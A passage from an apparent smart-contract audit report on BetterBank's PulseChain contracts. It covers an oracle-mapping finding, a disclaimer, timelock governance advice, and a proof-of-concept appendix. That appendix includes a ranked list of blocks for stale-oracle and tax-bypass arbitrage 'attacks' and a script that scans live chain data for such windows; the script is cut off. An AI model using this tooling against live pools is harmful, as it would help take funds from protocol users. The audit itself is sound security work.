constructor(address payable _fetchAddress, address _owner) UsingFetch(_fetchAddress) Ownable(_owner)
    {}
```

Remediation:

Add an owner-only setter to configure the mapping contract before any `valueFor` reads:

- `function setIdMappingContract(address mapping_) external onlyOwner { require(mapping_ != address(0)); idMappingContract = IMappingContract(mapping_); }`

If ERC-2362 is not required: override/remove `valueFor` in inheritors or implement direct `queryId` derivation (encode SpotPrice and keccak) without a mapping contract.

Document the deployment step (set mapping) in runbooks to avoid production misconfiguration.

Source:

- `src/usingFetch/usingFetch.sol`: `IMappingContract public idMappingContract;` — Declared, never initialized.
- `src/usingFetch/usingFetch.sol`: `valueFor(bytes32)` — Calls `idMappingContract.getFetchID(_id)` directly.
- `src/MinterOracle.sol`: constructor inherits `UsingFetch(_fetchAddress)` but never sets `idMappingContract`.

Developer Response:

From UsingFetch library, valueFor is not used. Only getDataBefore is used from Fetch library

Auditor Response:

Acknowledged

Disclaimer

This audit report ("Report") is provided by FailSafe ("Auditor") for the exclusive use of the client ("Client"). The audit scope is limited to a technical review of the Smart Contract code supplied by the Client. This report is subject to the terms and conditions (including without limitation, description of services, confidentiality, disclaimer and limitation of liability) set forth in the Services Agreement, or the scope of services, and terms and conditions provided to you ("Customer" or the "Company") in connection with the Agreement. This report provided in connection with the Services set forth in the Agreement shall be used by the Company only to the extent permitted under the terms and conditions set forth in the Agreement. This report may not be transmitted, disclosed, referred to or relied upon by any person for any purposes, nor may copies be delivered to any other person other than the Company, without FailSafe's prior written consent in each instance.

This report is not, nor should be considered, an "endorsement" or "disapproval" of any particular project or team. This report is not, nor should be considered, an indication of the economics or value of any "product" or "asset" created by any team or project that contracts FailSafe to perform a security assessment. This report does not provide any warranty or guarantee regarding the absolute bug-free nature of the technology analyzed, nor do they provide any indication of the technologies proprietors, business, business model or legal compliance.

This report should not be used in any way to make decisions around investment or involvement with any particular project. This report in no way provides investment advice, nor should be leveraged as investment advice of any sort. This report represents an extensive assessing process intending to help our customers increase the quality of their code while reducing the high level of risk presented by cryptographic tokens and blockchain technology.

Blockchain technology and cryptographic assets present a high level of ongoing risk. FailSafe's position is that each company and individual are responsible for their own due diligence and continuous security. FailSafe's goal is to help reduce the attack vectors and the high level of variance associated with utilizing new and consistently changing technologies, and in no way claims any guarantee of security or functionality of the technology we agree to analyze.

The assessment services provided by FailSafe is subject to dependencies and under continuing development. You agree that your access and/or use, including but not limited to any services, reports, and materials, will be at your sole risk on an as-is, where-is, and as-available basis. Cryptographic tokens are emergent technologies and carry with them high levels of technical risk and uncertainty. The assessment reports could include false positives, false negatives, and other unpredictable results. The services may access, and depend upon, multiple layers of third-parties.

ALL SERVICES, THE LABELS, THE ASSESSMENT REPORT, WORK PRODUCT, OR OTHER MATERIALS, OR ANY PRODUCTS OR RESULTS OF THE USE THEREOF ARE PROVIDED "AS IS" AND "AS AVAILABLE" AND

WITH ALL FAULTS AND DEFECTS WITHOUT WARRANTY OF ANY KIND. TO THE MAXIMUM EXTENT PERMITTED UNDER APPLICABLE LAW, FAILSAFE HEREBY DISCLAIMS ALL WARRANTIES, WHETHER EXPRESS, IMPLIED, STATUTORY, OR OTHERWISE WITH RESPECT TO THE SERVICES, ASSESSMENT REPORT, OR OTHER MATERIALS. WITHOUT LIMITING THE FOREGOING, FAILSAFE SPECIFICALLY DISCLAIMS ALL IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, TITLE AND NON-INFRINGEMENT, AND ALL WARRANTIES ARISING FROM COURSE OF DEALING, USAGE, OR TRADE PRACTICE. WITHOUT LIMITING THE FOREGOING, FAILSAFE MAKES NO WARRANTY OF ANY KIND THAT THE SERVICES, THE LABELS, THE ASSESSMENT REPORT, WORK PRODUCT, OR OTHER MATERIALS, OR ANY PRODUCTS OR RESULTS OF THE USE THEREOF, WILL MEET CUSTOMER'S OR ANY OTHER PERSON'S REQUIREMENTS, ACHIEVE ANY INTENDED RESULT, BE COMPATIBLE OR WORK WITH ANY SOFTWARE, SYSTEM, OR OTHER SERVICES, OR BE SECURE, ACCURATE, COMPLETE, FREE OF HARMFUL CODE, OR ERROR-FREE.

WITHOUT LIMITATION TO THE FOREGOING, FAILSAFE PROVIDES NO WARRANTY OR DISCLAIMER UNDERTAKING, AND MAKES NO REPRESENTATION OF ANY KIND THAT THE SERVICE WILL MEET CUSTOMER'S REQUIREMENTS, ACHIEVE ANY INTENDED RESULTS, BE COMPATIBLE OR WORK WITH ANY OTHER SOFTWARE, APPLICATIONS, SYSTEMS OR SERVICES, OPERATE WITHOUT INTERRUPTION, MEET ANY PERFORMANCE OR RELIABILITY STANDARDS OR BE ERROR FREE OR THAT ANY ERRORS OR DEFECTS CAN OR WILL BE CORRECTED.

WITHOUT LIMITING THE FOREGOING, NEITHER FAILSAFE NOR ANY OF FAILSAFE'S AGENTS MAKES ANY REPRESENTATION OR WARRANTY OF ANY KIND, EXPRESS OR IMPLIED AS TO THE ACCURACY, RELIABILITY, OR CURRENCY OF ANY INFORMATION OR CONTENT PROVIDED THROUGH THE SERVICE. FAILSAFE WILL ASSUME NO LIABILITY OR RESPONSIBILITY FOR (I) ANY ERRORS, MISTAKES, OR INACCURACIES OF CONTENT AND MATERIALS OR FOR ANY LOSS OR DAMAGE OF ANY KIND INCURRED AS A RESULT OF THE USE OF ANY CONTENT, OR (II) ANY PERSONAL INJURY OR PROPERTY DAMAGE, OF ANY NATURE WHATSOEVER, RESULTING FROM CUSTOMER'S ACCESS TO OR USE OF THE SERVICES, ASSESSMENT REPORT, OR OTHER MATERIALS.

ALL THIRD-PARTY MATERIALS ARE PROVIDED "AS IS" AND ANY REPRESENTATION OR WARRANTY OF OR CONCERNING ANY THIRD-PARTY MATERIALS IS STRICTLY BETWEEN CUSTOMER AND THE THIRD-PARTY OWNER OR DISTRIBUTOR OF THE THIRD-PARTY MATERIALS.

THE SERVICES, ASSESSMENT REPORT, AND ANY OTHER MATERIALS HEREUNDER ARE SOLELY PROVIDED TO CUSTOMER AND MAY NOT BE RELIED ON BY ANY OTHER PERSON OR FOR ANY PURPOSE NOT SPECIFICALLY IDENTIFIED IN THIS AGREEMENT, NOR MAY COPIES BE DELIVERED TO, ANY OTHER PERSON WITHOUT FAILSAFE'S PRIOR WRITTEN CONSENT IN EACH INSTANCE.

NO THIRD PARTY OR ANYONE ACTING ON BEHALF OF ANY THEREOF, SHALL BE A THIRD PARTY OR OTHER BENEFICIARY OF SUCH SERVICES, ASSESSMENT REPORT, AND ANY ACCOMPANYING MATERIALS AND NO SUCH THIRD PARTY SHALL HAVE ANY RIGHTS OF CONTRIBUTION AGAINST FAILSAFE WITH RESPECT TO SUCH SERVICES, ASSESSMENT REPORT, AND ANY ACCOMPANYING MATERIALS.

THE REPRESENTATIONS AND WARRANTIES OF FAILSAFE CONTAINED IN THIS AGREEMENT ARE SOLELY FOR THE BENEFIT OF CUSTOMER. ACCORDINGLY, NO THIRD PARTY OR ANYONE ACTING ON BEHALF OF ANY THEREOF, SHALL BE A THIRD PARTY OR OTHER BENEFICIARY OF SUCH REPRESENTATIONS AND WARRANTIES AND NO SUCH THIRD PARTY SHALL HAVE ANY RIGHTS OF CONTRIBUTION AGAINST FAILSAFE WITH RESPECT TO SUCH REPRESENTATIONS OR WARRANTIES OR ANY MATTER SUBJECT TO OR RESULTING IN INDEMNIFICATION UNDER THIS AGREEMENT OR OTHERWISE.

FOR AVOIDANCE OF DOUBT, THE SERVICES, INCLUDING ANY ASSOCIATED ASSESSMENT REPORTS OR MATERIALS, SHALL NOT BE CONSIDERED OR RELIED UPON AS ANY FORM OF FINANCIAL, TAX, LEGAL, REGULATORY, OR OTHER ADVICE.

Appendix

A: Timelock Governance Reference

Overview and intent

- Privileged controls enable fixes and parameter management but concentrate risk: a compromised signer/quorum or UI trap can push harmful changes instantly.
- A timelock makes changes observable, delayable, and cancelable, complementing (not replacing) multisig/MPC.
- Put high-impact operations behind an on-chain timelock with queue/execute/cancel semantics, public visibility, and strict no-bypass rules.

How to use this appendix

- This appendix underpins the privileged control findings. See the shipped findings for concrete `onlyOwner` functions and targeted mitigations:
  - Favor: Privileged control without timelock – Favor.sol
  - FavorTreasury: Privileged control without timelock – FavorTreasury.sol
  - PulseMinter (MintRedeemer): Privileged control without timelock – PulseMinter (MintRedeemer)
  - Oracles (MinterOracle / LPOracle / UniTWAPOracle): Privileged control without timelock – Oracles (MinterOracle / LPOracle / UniTWAPOracle)
  - Staking (Grove): Privileged control without timelock – Staking (Grove)
  - Zapper: Privileged control without timelock – Zapper

Reference architecture (OpenZeppelin-aligned)

- Use OpenZeppelin TimelockController as the owner of all contracts with privileged functions.
  - Set `minDelay` (e.g., 24–48h). Set `proposer` to governance/multisig; set `executor` to `address(0)` (open execution) or governance; renounce admin.
  - Transfer ownership of Favor, FavorTreasury, Staking, PulseMinter, Oracles, Zapper to the Timelock.

  - Replace `onlyOwner` flows operationally by queueing through the Timelock: propose (queue) -> wait `minDelay` -> execute.

- Cancellation: empower governance (and optionally a limited "guardian") to cancel queued operations during the delay if risk is detected.
- No bypass: any change to timelock parameters (including reducing delay or changing owners) must itself be scheduled through the current timelock and wait the full delay. Avoid backdoors.

Policy recommendations

- Delay: >= 24–48h in production; longer for very high-impact categories (see below).
- Keep pause/unpause out of the timelock; use a dedicated guardian with strictly limited authority (no fund movement, no parameter edits).
- Visibility & monitoring: emit structured queue/execute/cancel events; surface in an ops dashboard and alert on sensitive selectors.
- Cancellation: provide a clear cancel pathway (governance/guardian) and document it operationally.

Confirmed status in `src/`

- No dedicated timelock contract is present. `Epoch` provides `onlyApproved` for oracle updates but is not a timelock.

Timelock operations in practice

- Queue -> Delay -> Execute; Cancel during delay; Batch interdependent changes to avoid risky intermediates.
- No-bypass & zero-delay handling: `updateDelay` must be queued and waits the current `minDelay` (even to set 0). Optional safety valve: a permissionless helper with proposer role that queues `restoreDelay`, still subject to the then-current delay. Net effect: 0 is allowed, never instant, and can be restored via the same delayed path.

Optional safeguards

- Two-step owner changes (propose/accept) behind timelock; role separation by domain; on-chain invariants/alerts (e.g., emissions deltas, oracle deviations).

Implementation note

- Use OpenZeppelin TimelockController (or Governor + Timelock). Transfer ownership to the timelock; route privileged calls via queue/execute. Ensure only the timelock can call privileged functions. Keep a minimal pause guardian (no funds/params).

B: POC Scripts

1. foundry_pls_usd_opportunities_sept11.json

```json
{
  "generatedAt": "2025-09-20T16:08:19.994Z",
  "purpose": "Top profitable opportunities for Foundry historical forking attacks",
  "totalOpportunities": 30,
  "attackStrategy": "TECH-H008 tax bypass + stale oracle arbitrage",
  "configuration": {
    "topN": 30,
    "sampleInterval": 1,
    "scanApproach": "Block-by-block (every 10 seconds)",
    "minUsdGap": 1,
    "minAlphaBeta": 1.02,
    "investmentSize": 10000
  },
  "foundryUsage": {
    "instruction": "Use vm.roll() commands to fork to profitable blocks",
    "example": "vm.roll(24356096); // Fork to highest profit block"
  },
  "opportunities": {
    "PLS/USD": [
      {
        "pair": "PLS/USD",
        "block": 24482198,
        "timestamp": "2025-09-11 21:18",
        "oraclePrice": 0.00003698,
        "dexPrice": 0.00004255767447902451,
        "priceGap": 15.082948834571413,
        "estimatedProfit": 1508.2948834571414,
        "foundryCommand": "vm.roll(24482198);"
      },
      {
        "pair": "PLS/USD",
        "block": 24482199,
        "timestamp": "2025-09-11 21:18",
        "oraclePrice": 0.00003698,
        "dexPrice": 0.00004255767447902451,
        "priceGap": 15.082948834571413,
        "estimatedProfit": 1508.2948834571414,
        "foundryCommand": "vm.roll(24482199);"
      },
      {
        "pair": "PLS/USD",
        "block": 24482200,
        "timestamp": "2025-09-11 21:18",
        "oraclePrice": 0.00003698,
        "dexPrice": 0.00004255767447902451,
        "priceGap": 15.082948834571413,
        "estimatedProfit": 1508.2948834571414,
        "foundryCommand": "vm.roll(24482200);"
      },
      {
        "pair": "PLS/USD",
      "block": 24482201,
      "timestamp": "2025-09-11 21:18",
      "oraclePrice": 0.00003698,
      "dexPrice": 0.00004255767447902451,
      "priceGap": 15.082948834571413,
      "estimatedProfit": 1508.2948834571414,
      "foundryCommand": "vm.roll(24482201);"
    },
    {
      "pair": "PLS/USD",
      "block": 24482202,
      "timestamp": "2025-09-11 21:18",
      "oraclePrice": 0.00003698,
      "dexPrice": 0.00004255767447902451,
      "priceGap": 15.082948834571413,
      "estimatedProfit": 1508.2948834571414,
      "foundryCommand": "vm.roll(24482202);"
    },
    {
      "pair": "PLS/USD",
      "block": 24482203,
      "timestamp": "2025-09-11 21:19",
      "oraclePrice": 0.00003698,
      "dexPrice": 0.00004255767447902451,
      "priceGap": 15.082948834571413,
      "estimatedProfit": 1508.2948834571414,
      "foundryCommand": "vm.roll(24482203);"
    },
    {
      "pair": "PLS/USD",
      "block": 24482204,
      "timestamp": "2025-09-11 21:19",
      "oraclePrice": 0.00003698,
      "dexPrice": 0.00004255767447902451,
      "priceGap": 15.082948834571413,
      "estimatedProfit": 1508.2948834571414,
      "foundryCommand": "vm.roll(24482204);"
    },
    {
      "pair": "PLS/USD",
      "block": 24482205,
      "timestamp": "2025-09-11 21:19",
      "oraclePrice": 0.00003698,
      "dexPrice": 0.00004255767447902451,
      "priceGap": 15.082948834571413,
      "estimatedProfit": 1508.2948834571414,
      "foundryCommand": "vm.roll(24482205);"
    },
    {
      "pair": "PLS/USD",
      "block": 24482206,
      "timestamp": "2025-09-11 21:19",
      "oraclePrice": 0.00003698,
      "dexPrice": 0.00004255767447902451,
      "priceGap": 15.082948834571413,
      "estimatedProfit": 1508.2948834571414,
      "foundryCommand": "vm.roll(24482206);"
    },
    {
      "pair": "PLS/USD",
      "block": 24482207,
      "timestamp": "2025-09-11 21:19",
      "oraclePrice": 0.00003698,
      "dexPrice": 0.00004255767447902451,
      "priceGap": 15.082948834571413,
      "estimatedProfit": 1508.2948834571414,
      "foundryCommand": "vm.roll(24482207);"
    },
    {
      "pair": "PLS/USD",
          "block": 24482208,
          "timestamp": "2025-09-11 21:20",
          "oraclePrice": 0.00003698,
          "dexPrice": 0.00004255767447902451,
          "priceGap": 15.082948834571413,
          "estimatedProfit": 1508.2948834571414,
          "foundryCommand": "vm.roll(24482208);"
        },
        {
          "pair": "PLS/USD",
          "block": 24482209,
          "timestamp": "2025-09-11 21:20",
          "oraclePrice": 0.00003698,
          "dexPrice": 0.00004255767447902451,
          "priceGap": 15.082948834571413,
          "estimatedProfit": 1508.2948834571414,
          "foundryCommand": "vm.roll(24482209);"
        },
        {
          "pair": "PLS/USD",
          "block": 24482196,
          "timestamp": "2025-09-11 21:17",
          "oraclePrice": 0.00003698,
          "dexPrice": 0.00004252130562074379,
          "priceGap": 14.984601462260102,
          "estimatedProfit": 1498.46014622601,
          "foundryCommand": "vm.roll(24482196);"
        },
        {
          "pair": "PLS/USD",
          "block": 24482197,
          "timestamp": "2025-09-11 21:18",
          "oraclePrice": 0.00003698,
          "dexPrice": 0.00004252130562074379,
          "priceGap": 14.984601462260102,
          "estimatedProfit": 1498.46014622601,
          "foundryCommand": "vm.roll(24482197);"
        },
        {
          "pair": "PLS/USD",
          "block": 24482194,
          "timestamp": "2025-09-11 21:17",
          "oraclePrice": 0.00003698,
          "dexPrice": 0.000042520867977144524,
          "priceGap": 14.98341800201331,
          "estimatedProfit": 1498.3418002013311,
          "foundryCommand": "vm.roll(24482194);"
        },
        {
          "pair": "PLS/USD",
          "block": 24482195,
          "timestamp": "2025-09-11 21:17",
          "oraclePrice": 0.00003698,
          "dexPrice": 0.000042520867977144524,
          "priceGap": 14.98341800201331,
          "estimatedProfit": 1498.3418002013311,
          "foundryCommand": "vm.roll(24482195);"
        },
        {
          "pair": "PLS/USD",
          "block": 24482190,
          "timestamp": "2025-09-11 21:16",
          "oraclePrice": 0.00003698,
          "dexPrice": 0.00004252014397673151,
          "priceGap": 14.981460185861298,
          "estimatedProfit": 1498.14601858613,
          "foundryCommand": "vm.roll(24482190);"
        },
        {
          "pair": "PLS/USD",
          "block": 24482191,
          "timestamp": "2025-09-11 21:16",
          "oraclePrice": 0.00003698,
          "dexPrice": 0.000042520143976731 51,
          "priceGap": 14.981460185861298,
          "estimatedProfit": 1498.14601858613,
          "foundryCommand": "vm.roll(24482191);"
        },
        {
          "pair": "PLS/USD",
          "block": 24482184,
          "timestamp": "2025-09-11 21:15",
          "oraclePrice": 0.00003698,
          "dexPrice": 0.000042520120844484 45,
          "priceGap": 14.981397632462002,
          "estimatedProfit": 1498.1397632462001,
          "foundryCommand": "vm.roll(24482184);"
        },
        {
          "pair": "PLS/USD",
          "block": 24482185,
          "timestamp": "2025-09-11 21:15",
          "oraclePrice": 0.00003698,
          "dexPrice": 0.000042520120844484 45,
          "priceGap": 14.981397632462002,
          "estimatedProfit": 1498.1397632462001,
          "foundryCommand": "vm.roll(24482185);"
        },
        {
          "pair": "PLS/USD",
          "block": 24482186,
          "timestamp": "2025-09-11 21:16",
          "oraclePrice": 0.00003698,
          "dexPrice": 0.000042520120844484 45,
          "priceGap": 14.981397632462002,
          "estimatedProfit": 1498.1397632462001,
          "foundryCommand": "vm.roll(24482186);"
        },
        {
          "pair": "PLS/USD",
          "block": 24482187,
          "timestamp": "2025-09-11 21:16",
          "oraclePrice": 0.00003698,
          "dexPrice": 0.000042520120844484 45,
          "priceGap": 14.981397632462002,
          "estimatedProfit": 1498.1397632462001,
          "foundryCommand": "vm.roll(24482187);"
        },
        {
          "pair": "PLS/USD",
          "block": 24482188,
          "timestamp": "2025-09-11 21:16",
          "oraclePrice": 0.00003698,
          "dexPrice": 0.000042520120844484 45,
          "priceGap": 14.981397632462002,
          "estimatedProfit": 1498.1397632462001,
          "foundryCommand": "vm.roll(24482188);"
        },
        {
          "pair": "PLS/USD",
          "block": 24482189,
          "timestamp": "2025-09-11 21:16",
          "oraclePrice": 0.00003698,
          "dexPrice": 0.000042520120844484 45,
          "priceGap": 14.981397632462002,
          "estimatedProfit": 1498.1397632462001,
          "foundryCommand": "vm.roll(24482189);"
        },
        {
          "pair": "PLS/USD",
          "block": 24482192,
          "timestamp": "2025-09-11 21:17",
          "oraclePrice": 0.00003698,
          "dexPrice": 0.000042513836559300705,
          "priceGap": 14.964403892105741,
          "estimatedProfit": 1496.4403892105743,
          "foundryCommand": "vm.roll(24482192);"
        },
        {
          "pair": "PLS/USD",
          "block": 24482193,
          "timestamp": "2025-09-11 21:17",
          "oraclePrice": 0.00003698,
          "dexPrice": 0.000042513836559300705,
          "priceGap": 14.964403892105741,
          "estimatedProfit": 1496.4403892105743,
          "foundryCommand": "vm.roll(24482193);"
        },
        {
          "pair": "PLS/USD",
          "block": 24482172,
          "timestamp": "2025-09-11 21:13",
          "oraclePrice": 0.00003698,
          "dexPrice": 0.00004249007450110767,
          "priceGap": 14.900147379955836,
          "estimatedProfit": 1490.0147379955836,
          "foundryCommand": "vm.roll(24482172);"
        },
        {
          "pair": "PLS/USD",
          "block": 24482173,
          "timestamp": "2025-09-11 21:13",
          "oraclePrice": 0.00003698,
          "dexPrice": 0.00004249007450110767,
          "priceGap": 14.900147379955836,
          "estimatedProfit": 1490.0147379955836,
          "foundryCommand": "vm.roll(24482173);"
        },
        {
          "pair": "PLS/USD",
          "block": 24482174,
          "timestamp": "2025-09-11 21:14",
          "oraclePrice": 0.00003698,
          "dexPrice": 0.00004249007450110767,
          "priceGap": 14.900147379955836,
          "estimatedProfit": 1490.0147379955836,
          "foundryCommand": "vm.roll(24482174);"
        },
        {
          "pair": "PLS/USD",
          "block": 24482175,
          "timestamp": "2025-09-11 21:14",
          "oraclePrice": 0.00003698,
          "dexPrice": 0.00004249007450110767,
          "priceGap": 14.900147379955836,
          "estimatedProfit": 1490.0147379955836,
          "foundryCommand": "vm.roll(24482175);"
        }
      ]
    }
  }
```

2. historical_opportunity_analyzer.js

```
#!/usr/bin/env node
/**
```

```
 * BetterBank Historical Opportunity Analyzer for Foundry
 *
 * Purpose: Find the top 30 oracle arbitrage opportunities for each LP pair
 * in ~6 weeks of history for Foundry testing.
 *
 * Strategy: 20-minute oracle staleness window + optional TECH-H008 tax bypass
 * Output: JSON with block ranges for vm.roll() historical forking
 *
 * Algorithm:
 *   1. Scan price samples from Aug 4, 2025 (Block 24158506) to Sept 18, 2025
 *   2. For each sample, compute single-step alpha/beta across 1 block
 *   3. Rank by estimated profit (0.35 x A x B x $10K)
 *   4. Keep top 30 per token pair
 *
 * LP Pair creation transactions are documented inline for reference.
 */

import fs from 'fs';
import { JsonRpcProvider, Interface, AbiCoder, keccak256 } from 'ethers';

// Command line arguments
const args = process.argv.slice(2);
const VERBOSE = args.includes('--verbose') || args.includes('-v');
const TOKEN_FILTER = args.find(arg => arg.startsWith('--token='))?.split('=')[1] ||
                    (args.includes('--token') ? args[args.indexOf('--token') + 1] : null);
const USD_ARBITRAGE = args.includes('--usd-arbitrage') || TOKEN_FILTER === 'PLS/USD';

if (VERBOSE) {
    console.log("Verbose mode enabled - detailed reserve data\n");
}

// Configuration
const RPC_URL = "https://rpc.pulsechain.com";
const SAMPLE_INTERVAL = 1; // EVERY SINGLE BLOCK - maximum precision!
const TOP_N = 30; // Top 30 opportunities (manageable for focused analysis)
const MIN_ALPHA_BETA = 1.02; // Very low threshold with 0% tax
const INVESTMENT_SIZE = 10000; // $10K base investment
const MIN_USD_GAP = 1.0; // 1% minimum USD price gap for arbitrage
const FETCH_ORACLE = "0xCe9DEa26eB6bEaEc73CFf3BACdF3F9e42BB89951";
const USDC_WPLS_LP = "0x6753560538ECa67617A9Ce605178F788bE7E524E";

// BetterBank LP pairs (launched Aug 4, 2025)
const LP_PAIRS = {
    "PLS/PLSF": "0xdca85EFDCe177b24DE8B17811cEC007FE5098586",
    "PLSX/PLSXF": "0x24264d580711474526e8F2A8cCB184F6438BB95c",
    "PDAI/PDAIF": "0xA0126Ac1364606BAfb150653c7Bc9f1af4283DFa"
};

class HistoricalOpportunityAnalyzer {
    constructor() {
        this.requestId = 1;
        // PROVEN ethers.js setup (from oracle_vs_dex_price_gap.js)
        this.provider = new JsonRpcProvider(RPC_URL);
        this.iface = new Interface([
            "function getDataBefore(bytes32 _queryId, uint256 _timestamp) view returns (bool
    _ifRetrieve, bytes _value, uint256 _timestampRetrieved)",
        ]);
        this.coder = AbiCoder.defaultAbiCoder();
    }

    /**
     * Make RPC call to PulseChain with timeout
     */
    async rpcCall(method, params = []) {
        try {
            const controller = new AbortController();
            const timeout = setTimeout(() => controller.abort(), 10000); // 10 second timeout

            const response = await fetch(RPC_URL, {
                method: 'POST',
                headers: { 'Content-Type': 'application/json' },
                body: JSON.stringify({
                    jsonrpc: "2.0",
                    method,
                    params,
                    id: this.requestId++
                }),
                signal: controller.signal
            });

            clearTimeout(timeout);

            const result = await response.json();

            if (result.error) {
                console.log(`RPC Error: ${result.error.message}`);
                return null;
            }

            return result.result;
        } catch (error) {
            if (error.name === 'AbortError') {
                console.log(`RPC Timeout: ${method} exceeded 10 seconds`);
            } else {
                console.log(`Request failed: ${error.message}`);
            }
            return null;
        }
    }

    /**
     * Get current block number
     */
    async getCurrentBlock() {
        const result = await this.rpcCall("eth_blockNumber");
        return result ? parseInt(result, 16) : null;
    }

    /**
     * Get block timestamp for date verification
     */
    async getBlockTimestamp(blockNumber) {
        const result = await this.rpcCall("eth_getBlockByNumber", [
            `0x${blockNumber.toString(16)}`,
            false
        ]);

        if (result && result.timestamp) {
            return parseInt(result.timestamp, 16);
        }
        return null;
    }

    /**
     * Get LP pair reserves at specific block
     */
    async getReservesAtBlock(pairAddress, block) {
        try {
            const result = await this.rpcCall("eth_call", [
                { to: pairAddress, data: "0x0902f1ac" }, // getReserves()
                `0x${block.toString(16)}`
            ]);

            if (!result || result === "0x") {
                if (VERBOSE) console.log(`   Block ${block}: No reserves data`);
                return null;
            }

            // Decode reserves (first two uint112 values)
            const data = result.slice(2);
            const reserve0Hex = data.slice(24, 64);
            const reserve1Hex = data.slice(88, 128);

            const reserve0 = BigInt(`0x${reserve0Hex}`);
            const reserve1 = BigInt(`0x${reserve1Hex}`);

            if (VERBOSE) {
                console.log(`   Block ${block}: reserve0=${reserve0.toString()}, reserve1=${reserve1.
        toString()}`);
            }

            return { reserve0, reserve1 };
        } catch (error) {
            if (VERBOSE) console.log(`   Error at block ${block}: fetching reserves failed - ${error.
        message}`);
            return null;
        }
    }

    /**
     * Calculate price from reserves
     */
    calculatePrice(reserves) {
        const { reserve0, reserve1 } = reserves;
        if (reserve0 === 0n) return 0;
        return Number(reserve1) / Number(reserve0);
    }

    /**
     * Calculate AxB factor and estimated profit
     */
    calculateOpportunity(startPrice, endPrice) {
        if (startPrice === 0) return null;

        const alphaBeta = endPrice / startPrice;
        const changePct = Math.abs((endPrice - startPrice) / startPrice) * 100;
        const estimatedProfit = 0.35 * alphaBeta * INVESTMENT_SIZE; // OpenAI formula

        return { alphaBeta, changePct, estimatedProfit };
    }

    /**
     * Get PLS/USD price from DEX (USDC/WPLS pair)
     */
    async getDexUSDPrice(block) {
        const reserves = await this.getReservesAtBlock(USDC_WPLS_LP, block);
        if (!reserves) return null;

        // USDC (6 decimals) / WPLS (18 decimals) = USD per PLS
        const usdcReserve = Number(reserves.reserve0) / 1e6;
        const wplsReserve = Number(reserves.reserve1) / 1e18;

        if (wplsReserve === 0) return null;
        return usdcReserve / wplsReserve;
    }

    /**
     * Get PLS/USD price from Oracle using EXACT GOLDEN PATTERN from oracle_debugging_fixed.js
     */
    async getOracleUSDPrice(block, blockTimestamp) {
        try {
            // Build query EXACTLY like oracle_debugging_fixed.js
            const base = "pls";
            const quote = "usd";
            const inner = this.coder.encode(["string", "string"], [base, quote]);
            const queryData = this.coder.encode(["string", "bytes"], ["SpotPrice", inner]);
            const queryId = keccak256(queryData);
            const cutoffTimestamp = blockTimestamp - (20 * 60); // 20 minutes ago

            // Use ethers.js to encode the function call
            const data = this.iface.encodeFunctionData("getDataBefore", [queryId, cutoffTimestamp]);

            // Make the call using ethers provider
            const raw = await this.provider.call({
                to: FETCH_ORACLE,
                data
            }, block);

            // Decode the result using ethers.js
            const [ok, valueBytes, tsRetrieved] = this.iface.decodeFunctionResult("getDataBefore", raw);

            if (!ok) return null;

            // Decode the price from the bytes
            const [priceRaw] = this.coder.decode(["uint256"], valueBytes);
            const price = Number(priceRaw) / 1e18;

            return price > 0 ? price : null;
        } catch (error) {
            return null;
        }
    }

    /**
     * Calculate scan range for SEPT 11-12 FOCUSED HIGH-RESOLUTION SCAN
     */
    async calculateScanRange() {
        // Use fixed current block (Sept 18, 2025) instead of RPC call
        const currentBlock = 24540696;

        // LASER-FOCUSED: Sept 11-12 crash event (FIXED: now only finds oracle < dex opportunities)
        const startBlock = 24477015; // Sept 11, 2025 00:00:00 UTC (estimated)
        const endBlock = 24494662;   // Sept 12, 2025 23:59:59 UTC (estimated)
        // const startBlock = 24068900; // July 25, 2025 00:19:35 AM (PulseChain block production issues) - COMMENTED OUT
        // const endBlock = 24077000;   // July 25, 2025 23:37:05 PM - COMMENTED OUT

        console.log(`FOCUSED HIGH-RESOLUTION SCAN: Sept 11-12, 2025 (Oracle < DEX only)`);
        console.log(`Block Range: ${startBlock} to ${endBlock}`);

        // VERIFY ACTUAL DATES using real block timestamps
        console.log(`Verifying actual date range...`);

        const currentTimestamp = await this.getBlockTimestamp(currentBlock);
        const startTimestamp = await this.getBlockTimestamp(startBlock);

        if (currentTimestamp && startTimestamp) {
            const currentDate = new Date(currentTimestamp * 1000).toISOString().slice(0, 19).replace('T', ' ');
            const startDate = new Date(startTimestamp * 1000).toISOString().slice(0, 19).replace('T', ' ');

            console.log(`Start Date: ${startDate} (Block ${startBlock})`);
            console.log(`End Date:   ${currentDate} (Block ${currentBlock})`);

            const daysDiff = (currentTimestamp - startTimestamp) / (24 * 60 * 60);
            console.log(`Period: ${daysDiff.toFixed(1)} days (${(daysDiff/7).toFixed(1)} weeks)`);
            console.log(`Target: Sept 11-12 crash (Oracle < DEX direction)`);
        } else {
            console.log(`Could not verify exact dates (using estimated Sept 11-12 range)`);
        }

            console.log(`Resolution: EVERY BLOCK (${SAMPLE_INTERVAL} block interval = 10-second precision)`);
            console.log(`Target: Top ${TOP_N} opportunities\n`);

            return { startBlock, endBlock };
    }

```

```
/**
 * Analyze single LP pair for top opportunities
 */
async analyzePairHistory(pairName, pairAddress, startBlock, endBlock) {
    const opportunities = [];
    let samplesProcessed = 0;
    const totalSamples = Math.floor((endBlock - startBlock) / SAMPLE_INTERVAL);

    // Step 1: Scan all price samples
    for (let block = startBlock; block <= endBlock; block += SAMPLE_INTERVAL) {
        samplesProcessed++;

        // Progress indicator (every 3%)
        const progress = (samplesProcessed / totalSamples * 100);
        if (Math.floor(progress / 3) > Math.floor((progress - 100/totalSamples) / 3) || samplesProcessed === totalSamples) {
            console.log(`   Progress: ${progress.toFixed(1)}% (${samplesProcessed}/${totalSamples} samples)`);
        }

        // Get starting price
        const startReserves = await this.getReservesAtBlock(pairAddress, block);
        if (!startReserves) continue;

        const startPrice = this.calculatePrice(startReserves);
        if (startPrice === 0) continue;

        // Step 2: SIMPLIFIED - No windowing, direct single-block analysis
        const nextBlock = block + SAMPLE_INTERVAL;
        if (nextBlock > endBlock) continue;

        const endReserves = await this.getReservesAtBlock(pairAddress, nextBlock);
        if (!endReserves) continue;

        const endPrice = this.calculatePrice(endReserves);
        if (endPrice === 0) continue;

        const maxOpportunity = this.calculateOpportunity(startPrice, endPrice);
        if (!maxOpportunity || maxOpportunity.alphaBeta < MIN_ALPHA_BETA) continue;

        const bestEndBlock = nextBlock;

        // Step 3: Record significant opportunities (maxOpportunity guaranteed truthy here)
        const opportunity = {
            pair: pairName,
            blockRange: [block, bestEndBlock],
            windowDuration: ((bestEndBlock - block) * 10 / 60).toFixed(1), // minutes (10 sec/block)
